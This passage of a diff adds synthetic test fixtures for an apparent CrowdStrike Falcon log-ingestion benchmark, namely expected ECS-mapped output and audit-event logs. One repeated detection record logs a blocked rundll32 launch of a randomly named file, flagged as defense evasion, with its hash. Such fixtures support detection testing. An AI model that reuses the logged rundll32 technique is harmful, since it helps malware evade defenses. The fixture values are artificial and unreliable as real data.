"{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8694733,\"eventType\":\"UserActivityAuditEvent\",\"eventCreationTime\":1698928127000,\"version\":\"1.0\"},\"event\":{\"UserId\":\"admin.rose@example.com\",\"UserIp\":\"81.2.69.144\",\"OperationName\":\"reveal_token\",\"ServiceName\":\"sensor_update_policy\",\"AuditKeyValues\":[{\"Key\":\"device_id\",\"ValueString\":\"abcancancbanjjagjaj\"},{\"Key\":\"seedID\",\"ValueString\":\"101\"},{\"Key\":\"message\",\"ValueString\":\"Removeduplicatesensor.\"}],\"UTCTimestamp\":1698928127,\"Attributes\":{\"device_id\":\"afjafanfafasfjaf\",\"message\":\"Removeduplicatesensor.\",\"seedID\":\"101\"}}}", + "type": [ + "change" + ] + }, + "message": "reveal_token", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "ip": [ + "81.2.69.144" + ], + "user": [ + "admin.rose", + "admin.rose@example.com" + ] + }, + "source": { + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": "81.2.69.144" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "example.com", + "email": "admin.rose@example.com", + "name": "admin.rose" + } + }, + { + "@timestamp": "2023-11-02T13:00:00.000Z", + "crowdstrike": { + "event": { + "ExecutionID": "efghtigh", + "ExecutionMetadata": { + "ExecutionDuration": 152176, + "ExecutionStart": 1698930019000, + "ReportFileName": "Laroux_Search_2023_November_2_13017_34176.csv", + "ResultCount": 0, + "ResultID": "fffffzdlIiwiY3VzdG9tZXJfYXBwIjoiZWFtIiwic2lnbmF0dXJlX3BvcnRpb24iOiIzYWRhOTZiNDA4MTkxNTFhZmIxYjFkOTM2MWZhMmE1NjBmNGNkMzc0ODQxNTY4MDlkYzhmNDRkMmRkZDY1NzdlIn0=", + "SearchWindowEnd": 1698930000000, + "SearchWindowStart": 1698843600000 + }, + "ReportFileReference": "/reports/entities/report-executions-download/v1?ids=eeeeeeeeeerrrrr444444", + "ReportID": "999999ddddddddd", + "ReportName": "LarouxSearch", + "ReportType": "event_search", + "Status": "1", + "StatusMessage": "message", + "UserUUID": "9999999-bc3c-99bb-a05a-bb94ff5dc0fb" + }, + "metadata": { + "customerIDString": "abcabcabc22222", + "eventType": "ScheduledReportNotificationEvent", + "offset": 8694992, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "created": "2023-11-02T13:02:52.000Z", + "kind": "event", + "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8694992,\"eventType\":\"ScheduledReportNotificationEvent\",\"eventCreationTime\":1698930172000,\"version\":\"1.0\"},\"event\":{\"UserUUID\":\"9999999-bc3c-99bb-a05a-bb94ff5dc0fb\",\"UserID\":\"admin.rose@example.com\",\"ExecutionID\":\"efghtigh\",\"ReportID\":\"999999ddddddddd\",\"ReportName\":\"LarouxSearch\",\"ReportType\":\"event_search\",\"ReportFileReference\":\"/reports/entities/report-executions-download/v1?ids=eeeeeeeeeerrrrr444444\",\"Status\":1,\"StatusMessage\":\"message\",\"ExecutionMetadata\":{\"ExecutionStart\":1698930019000,\"ExecutionDuration\":152176,\"ReportFileName\":\"Laroux_Search_2023_November_2_13017_34176.csv\",\"ResultCount\":0,\"ResultID\":\"fffffzdlIiwiY3VzdG9tZXJfYXBwIjoiZWFtIiwic2lnbmF0dXJlX3BvcnRpb24iOiIzYWRhOTZiNDA4MTkxNTFhZmIxYjFkOTM2MWZhMmE1NjBmNGNkMzc0ODQxNTY4MDlkYzhmNDRkMmRkZDY1NzdlIn0=\",\"SearchWindowStart\":1698843600000,\"SearchWindowEnd\":1698930000000}}}" + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "user": [ + "admin.rose", + "admin.rose@example.com" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "example.com", + "email": "admin.rose@example.com", + "id": "admin.rose@example.com", + "name": "admin.rose" + } + }, + { + "@timestamp": "2023-11-02T13:41:34.000Z", + "crowdstrike": { + "event": { + "AgentIdString": "fffffffff33333", + "SessionId": "1111-fffff-4bb4-99c1-74c13cfc3e5a" + }, + "metadata": { + "customerIDString": "abcabcabc22222", + "eventType": "RemoteResponseSessionStartEvent", + "offset": 8695284, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": [ + "remote_response_session_start_event" + ], + "category": [ + "network", + "session" + ], + "created": "2023-11-02T13:41:34.000Z", + "kind": "event", + "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8695284,\"eventType\":\"RemoteResponseSessionStartEvent\",\"eventCreationTime\":1698932494000,\"version\":\"1.0\"},\"event\":{\"SessionId\":\"1111-fffff-4bb4-99c1-74c13cfc3e5a\",\"HostnameField\":\"UKCHUDL00206\",\"UserName\":\"admin.rose@example.com\",\"StartTimestamp\":1698932494,\"AgentIdString\":\"fffffffff33333\"}}", + "start": "2023-11-02T13:41:34.000Z", + "type": [ + "start" + ] + }, + "host": { + "name": "UKCHUDL00206" + }, + "message": "Remote response session started.", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "hosts": [ + "UKCHUDL00206" + ], + "user": [ + "admin.rose", + "admin.rose@example.com" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "example.com", + "email": "admin.rose@example.com", + "name": "admin.rose" + } + }, + { + "@timestamp": "2023-11-02T13:43:35.000Z", + "crowdstrike": { + "event": { + "AssociatedFile": "\\Device\\HarddiskVolume4\\Windows\\System32\\rundll32.exe", + "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe", + "GrandparentImageFileName": "\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe", + "HostGroups": [ + "e2091491a28248eaae3ede9f217e03fc", + "e837d750b8ba400c953380da346e2b04", + "186c20383a98495cb0e0a7d5540f3aff", + "24d1f760fcdc46d992bb8f41d7dd897b", + "2b7bd0fede874baaa1afdea20f255632", + "a293aded9c4548469d0e853b7267cce5", + "adab9db4541040729e01d16211189a27", + "b75b27ce17244922bd0a862a712ea812" + ], + "IOCType": "hash_sha256", + "IOCValue": "d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e", + "MACAddress": "02-50-41-00-00-01", + "Objective": "KeepAccess", + "ParentImageFileName": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": false, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": false, + "ProcessBlocked": true, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternDispositionValue": 2048, + "PatternId": "10186", + "SensorId": "69027ffffffffffffaaf50", + "Severity": 4, + "SeverityName": "High" + }, + "metadata": { + "customerIDString": "abcabcabc22222", + "eventType": "DetectionSummaryEvent", + "offset": 8695332, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "Prevention,processwasblockedfromexecution.", + "category": [ + "malware" + ], + "created": "2023-11-02T13:43:35.000Z", + "kind": "alert", + "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8695332,\"eventType\":\"DetectionSummaryEvent\",\"eventCreationTime\":1698932615000,\"version\":\"1.0\"},\"event\":{\"ProcessStartTime\":1698932614,\"ProcessEndTime\":1698932614,\"ProcessId\":54665651,\"ParentProcessId\":540396081,\"ComputerName\":\"INNOIDL0032\",\"UserName\":\"vishnu.sharma\",\"DetectName\":\"AttackerMethodology\",\"DetectDescription\":\"Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.\",\"Severity\":4,\"SeverityName\":\"High\",\"FileName\":\"rundll32.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\",\"CommandLine\":\"\\\"C:\\\\Windows\\\\System32\\\\rundll32.exe\\\"\\\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh\",\"SHA256String\":\"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e\",\"MD5String\":\"a52bfa4a96f97c368312028dbd7c8461\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"MachineDomain\":\"AP\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/activity/detections/detail/6902738b2a374a718cd9a45085baaf50/2246270721205?_cid=gffffffffy3zjobdz7ewb4xjqyjsy5a\",\"SensorId\":\"69027ffffffffffffaaf50\",\"IOCType\":\"hash_sha256\",\"IOCValue\":\"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e\",\"DetectId\":\"ldt:690ddddddd0721205\",\"LocalIP\":\"81.2.69.144\",\"MACAddress\":\"02-50-41-00-00-01\",\"Tactic\":\"DefenseEvasion\",\"Technique\":\"Rundll32\",\"Objective\":\"KeepAccess\",\"PatternDispositionDescription\":\"Prevention,processwasblockedfromexecution.\",\"PatternDispositionValue\":2048,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":false,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":true,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"ParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"GrandparentImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\userinit.exe\",\"GrandparentCommandLine\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"HostGroups\":\"e2091491a28248eaae3ede9f217e03fc,e837d750b8ba400c953380da346e2b04,186c20383a98495cb0e0a7d5540f3aff,24d1f760fcdc46d992bb8f41d7dd897b,2b7bd0fede874baaa1afdea20f255632,a293aded9c4548469d0e853b7267cce5,adab9db4541040729e01d16211189a27,b75b27ce17244922bd0a862a712ea812\",\"Tags\":\"SensorGroupingTags/USB_Storage_Exception\",\"AssociatedFile\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\rundll32.exe\",\"PatternId\":10186}}", + "reference": "https://falcon.crowdstrike.com/activity/detections/detail/6902738b2a374a718cd9a45085baaf50/2246270721205?_cid=gffffffffy3zjobdz7ewb4xjqyjsy5a", + "severity": 73, + "type": [ + "info" + ] + }, + "file": { + "hash": { + "md5": "a52bfa4a96f97c368312028dbd7c8461", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e" + }, + "name": "rundll32.exe", + "path": "\\Device\\HarddiskVolume4\\Windows\\System32" + }, + "host": { + "domain": "AP", + "name": "INNOIDL0032" + }, + "message": "Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "args": [ + "\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh" + ], + "command_line": "\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh", + "end": "2023-11-02T13:43:34.000Z", + "entity_id": "54665651", + "executable": "\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh", + "name": "rundll32.exe", + "parent": { + "args": [ + "C:\\Windows\\Explorer.EXE" + ], + "command_line": "C:\\Windows\\Explorer.EXE", + "entity_id": "540396081", + "executable": "C:\\Windows\\Explorer.EXE", + "pid": 540396081 + }, + "pid": 54665651, + "start": "2023-11-02T13:43:34.000Z" + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e", + "a52bfa4a96f97c368312028dbd7c8461" + ], + "hosts": [ + "INNOIDL0032" + ], + "ip": [ + "81.2.69.144" + ], + "user": [ + "vishnu.sharma" + ] + }, + "rule": { + "description": "Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.", + "id": "ldt:690ddddddd0721205", + "name": "AttackerMethodology" + }, + "source": { + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": "81.2.69.144" + }, + "tags": [ + "preserve_original_event", + "SensorGroupingTags/USB_Storage_Exception" + ], + "threat": { + "tactic": { + "name": [ + "DefenseEvasion" + ] + }, + "technique": { + "name": [ + "Rundll32" + ] + } + }, + "user": { + "name": "vishnu.sharma" + } + }, + { + "@timestamp": "2023-11-03T00:36:37.000Z", + "crowdstrike": { + "event": { + "FineScore": 6.1, + "IncidentType": "1", + "State": "open" + }, + "metadata": { + "customerIDString": "abcabcabc22222", + "eventType": "IncidentSummaryEvent", + "offset": 8698239, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": [ + "incident" + ], + "category": [ + "malware" + ], + "created": "2023-11-03T00:36:37.000Z", + "end": "2023-11-03T00:36:37.000Z", + "id": "inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e", + "kind": "alert", + "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8698239,\"eventType\":\"IncidentSummaryEvent\",\"eventCreationTime\":1698971797000,\"version\":\"1.0\"},\"event\":{\"IncidentStartTime\":1698971797,\"IncidentEndTime\":1698971797,\"FalconHostLink\":\"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e?_cid=ggggffffhhhhjjjjj\",\"State\":\"open\",\"FineScore\":6.1,\"LateralMovement\":0,\"IncidentType\":1,\"IncidentID\":\"inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e\",\"HostID\":\"4345454534534545\"}}", + "reference": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e?_cid=ggggffffhhhhjjjjj", + "start": "2023-11-03T00:36:37.000Z", + "type": [ + "info" + ] + }, + "host": { + "id": "4345454534534545" + }, + "message": "Incident score 6.1", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2023-11-02T13:43:35.000Z", + "crowdstrike": { + "event": { + "AssociatedFile": "\\Device\\HarddiskVolume4\\Windows\\System32\\rundll32.exe", + "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe", + "GrandparentImageFileName": "\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe", + "HostGroups": [ + "e2091491a28248eaae3ede9f217e03fc", + "e837d750b8ba400c953380da346e2b04", + "186c20383a98495cb0e0a7d5540f3aff", + "24d1f760fcdc46d992bb8f41d7dd897b", + "2b7bd0fede874baaa1afdea20f255632", + "a293aded9c4548469d0e853b7267cce5", + "adab9db4541040729e01d16211189a27", + "b75b27ce17244922bd0a862a712ea812" + ], + "IOCType": "hash_sha256", + "IOCValue": "d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e", + "MACAddress": "02-50-41-00-00-01", + "MitreAttack": [ + { + "PatternID": "10186", + "Tactic": "DefenseEvasion", + "Technique": "Rundll32" + } + ], + "Objective": "KeepAccess", + "ParentImageFileName": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": false, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": false, + "ProcessBlocked": true, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternDispositionValue": 2048, + "PatternId": "10186", + "SensorId": "69027ffffffffffffaaf50", + "Severity": 4, + "SeverityName": "High" + }, + "metadata": { + "customerIDString": "abcabcabc22222", + "eventType": "DetectionSummaryEvent", + "offset": 8695332, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "Prevention,processwasblockedfromexecution.", + "category": [ + "malware" + ], + "created": "2023-11-02T13:43:35.000Z", + "kind": "alert", + "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8695332,\"eventType\":\"DetectionSummaryEvent\",\"eventCreationTime\":1698932615000,\"version\":\"1.0\"},\"event\":{\"ProcessStartTime\":1698932614,\"ProcessEndTime\":1698932614,\"ProcessId\":54665651,\"ParentProcessId\":540396081,\"ComputerName\":\"INNOIDL0032\",\"UserName\":\"vishnu.sharma\",\"DetectName\":\"AttackerMethodology\",\"DetectDescription\":\"Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.\",\"Severity\":4,\"SeverityName\":\"High\",\"FileName\":\"rundll32.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\",\"CommandLine\":\"\\\"C:\\\\Windows\\\\System32\\\\rundll32.exe\\\"\\\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh\",\"SHA256String\":\"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e\",\"MD5String\":\"a52bfa4a96f97c368312028dbd7c8461\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"MachineDomain\":\"AP\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/activity/detections/detail/6902738b2a374a718cd9a45085baaf50/2246270721205?_cid=gffffffffy3zjobdz7ewb4xjqyjsy5a\",\"SensorId\":\"69027ffffffffffffaaf50\",\"IOCType\":\"hash_sha256\",\"IOCValue\":\"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e\",\"DetectId\":\"ldt:690ddddddd0721205\",\"LocalIP\":\"81.2.69.144\",\"MACAddress\":\"02-50-41-00-00-01\",\"Tactic\":\"DefenseEvasion\",\"Technique\":\"Rundll32\",\"Objective\":\"KeepAccess\",\"PatternDispositionDescription\":\"Prevention,processwasblockedfromexecution.\",\"PatternDispositionValue\":2048,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":false,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":true,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"ParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"GrandparentImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\userinit.exe\",\"GrandparentCommandLine\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"HostGroups\":\"e2091491a28248eaae3ede9f217e03fc,e837d750b8ba400c953380da346e2b04,186c20383a98495cb0e0a7d5540f3aff,24d1f760fcdc46d992bb8f41d7dd897b,2b7bd0fede874baaa1afdea20f255632,a293aded9c4548469d0e853b7267cce5,adab9db4541040729e01d16211189a27,b75b27ce17244922bd0a862a712ea812\",\"Tags\":\"SensorGroupingTags/USB_Storage_Exception\",\"AssociatedFile\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\rundll32.exe\",\"PatternId\":10186,\"MitreAttack\":[{\"Tactic\":\"DefenseEvasion\",\"Technique\":\"Rundll32\",\"PatternID\":10186}]}}", + "reference": "https://falcon.crowdstrike.com/activity/detections/detail/6902738b2a374a718cd9a45085baaf50/2246270721205?_cid=gffffffffy3zjobdz7ewb4xjqyjsy5a", + "severity": 73, + "type": [ + "info" + ] + }, + "file": { + "hash": { + "md5": "a52bfa4a96f97c368312028dbd7c8461", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e" + }, + "name": "rundll32.exe", + "path": "\\Device\\HarddiskVolume4\\Windows\\System32" + }, + "host": { + "domain": "AP", + "name": "INNOIDL0032" + }, + "message": "Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "args": [ + "\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh" + ], + "command_line": "\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh", + "end": "2023-11-02T13:43:34.000Z", + "entity_id": "54665651", + "executable": "\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh", + "name": "rundll32.exe", + "parent": { + "args": [ + "C:\\Windows\\Explorer.EXE" + ], + "command_line": "C:\\Windows\\Explorer.EXE", + "entity_id": "540396081", + "executable": "C:\\Windows\\Explorer.EXE", + "pid": 540396081 + }, + "pid": 54665651, + "start": "2023-11-02T13:43:34.000Z" + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e", + "a52bfa4a96f97c368312028dbd7c8461" + ], + "hosts": [ + "INNOIDL0032" + ], + "ip": [ + "81.2.69.144" + ], + "user": [ + "vishnu.sharma" + ] + }, + "rule": { + "description": "Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.", + "id": "ldt:690ddddddd0721205", + "name": "AttackerMethodology" + }, + "source": { + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": "81.2.69.144" + }, + "tags": [ + "preserve_original_event", + "SensorGroupingTags/USB_Storage_Exception" + ], + "threat": { + "tactic": { + "name": [ + "DefenseEvasion" + ] + }, + "technique": { + "name": [ + "Rundll32" + ] + } + }, + "user": { + "name": "vishnu.sharma" + } + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log new file mode 100644 index 0000000000..1a403c955c --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log @@ -0,0 +1,277 @@ +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 1045, + "eventType": "RemoteResponseSessionStartEvent", + "eventCreationTime": 1582830734000, + "version": "1.0" + }, + "event": { + "SessionId": "6020260b-0398-4d41-999d-5531b55522de", + "HostnameField": "hostnameofmachine", + "UserName": "first.last@company.com", + "StartTimestamp": 1582830734 + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 1046, + "eventType": "RemoteResponseSessionEndEvent", + "eventCreationTime": 1582830772000, + "version": "1.0" + }, + "event": { + "SessionId": "6020260b-0398-4d41-999d-5531b55522de", + "HostnameField": "hostnameofmachine", + "UserName": "first.last@company.com", + "EndTimestamp": 1582830772 + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 0, + "eventType": "AuthActivityAuditEvent", + "eventCreationTime": 1581542950710, + "version": "1.0" + }, + "event": { + "UserId": "api-client-id:1234567890abcdefghijklmnopqrstuvwxyz", + "UserIp": "10.10.0.8", + "OperationName": "streamStarted", + "ServiceName": "Crowdstrike Streaming API", + "Success": true, + "UTCTimestamp": 1581542950, + "AuditKeyValues": [ + { + "Key": "APIClientID", + "ValueString": "1234567890abcdefghijklmnopqr" + }, + { + "Key": "partition", + "ValueString": "0" + }, + { + "Key": "offset", + "ValueString": "-1" + }, + { + "Key": "appId", + "ValueString": "siem-connector-v2.0.0" + }, + { + "Key": "eventType", + "ValueString": "[UserActivityAuditEvent HashSpreadingEvent RemoteResponseSessionStartEvent RemoteResponseSessionEndEvent DetectionSummaryEvent AuthActivityAuditEvent]" + } + ] + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 1, + "eventType": "AuthActivityAuditEvent", + "eventCreationTime": 1581543577147, + "version": "1.0" + }, + "event": { + "UserId": "alice@company.com", + "UserIp": "192.168.6.8", + "OperationName": "twoFactorAuthenticate", + "ServiceName": "CrowdStrike Authentication", + "Success": true, + "UTCTimestamp": 1581543577147 + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 2, + "eventType": "AuthActivityAuditEvent", + "eventCreationTime": 1581545677554, + "version": "1.0" + }, + "event": { + "UserId": "bob@company.com", + "UserIp": "192.168.6.3", + "OperationName": "twoFactorAuthenticate", + "ServiceName": "CrowdStrike Authentication", + "Success": true, + "UTCTimestamp": 1581545677554 + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 3, + "eventType": "UserActivityAuditEvent", + "eventCreationTime": 1581546248000, + "version": "1.0" + }, + "event": { + "UserId": "chris@company.com", + "UserIp": "192.168.6.13", + "OperationName": "update_group", + "ServiceName": "groups", + "AuditKeyValues": [ + { + "Key": "group_id", + "ValueString": "3c80ce30b9654cb4bd15beec6a517e65" + }, + { + "Key": "action_name", + "ValueString": "add_group_member" + } + ], + "UTCTimestamp": 1581546248 + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 4, + "eventType": "AuthActivityAuditEvent", + "eventCreationTime": 1581601312140, + "version": "1.0" + }, + "event": { + "UserId": "alice@company.com", + "UserIp": "192.168.6.8", + "OperationName": "requestResetPassword", + "ServiceName": "CrowdStrike Authentication", + "Success": true, + "UTCTimestamp": 1581601312140, + "AuditKeyValues": [ + { + "Key": "target_name", + "ValueString": "alice@company.com" + } + ] + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 5, + "eventType": "AuthActivityAuditEvent", + "eventCreationTime": 1581601341730, + "version": "1.0" + }, + "event": { + "UserId": "alice@company.com", + "UserIp": "192.168.6.8", + "OperationName": "twoFactorAuthenticate", + "ServiceName": "CrowdStrike Authentication", + "Success": true, + "UTCTimestamp": 1581601341730 + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 6, + "eventType": "AuthActivityAuditEvent", + "eventCreationTime": 1581601520236, + "version": "1.0" + }, + "event": { + "UserId": "alice@company.com", + "UserIp": "192.168.6.8", + "OperationName": "changePassword", + "ServiceName": "CrowdStrike Authentication", + "Success": true, + "UTCTimestamp": 1581601520236, + "AuditKeyValues": [ + { + "Key": "target_name", + "ValueString": "first.last@company.com" + } + ] + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 7, + "eventType": "AuthActivityAuditEvent", + "eventCreationTime": 1581601572362, + "version": "1.0" + }, + "event": { + "UserId": "alice@company.com", + "UserIp": "192.168.6.8", + "OperationName": "userAuthenticate", + "ServiceName": "CrowdStrike Authentication", + "Success": true, + "UTCTimestamp": 1581601572362 + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 8, + "eventType": 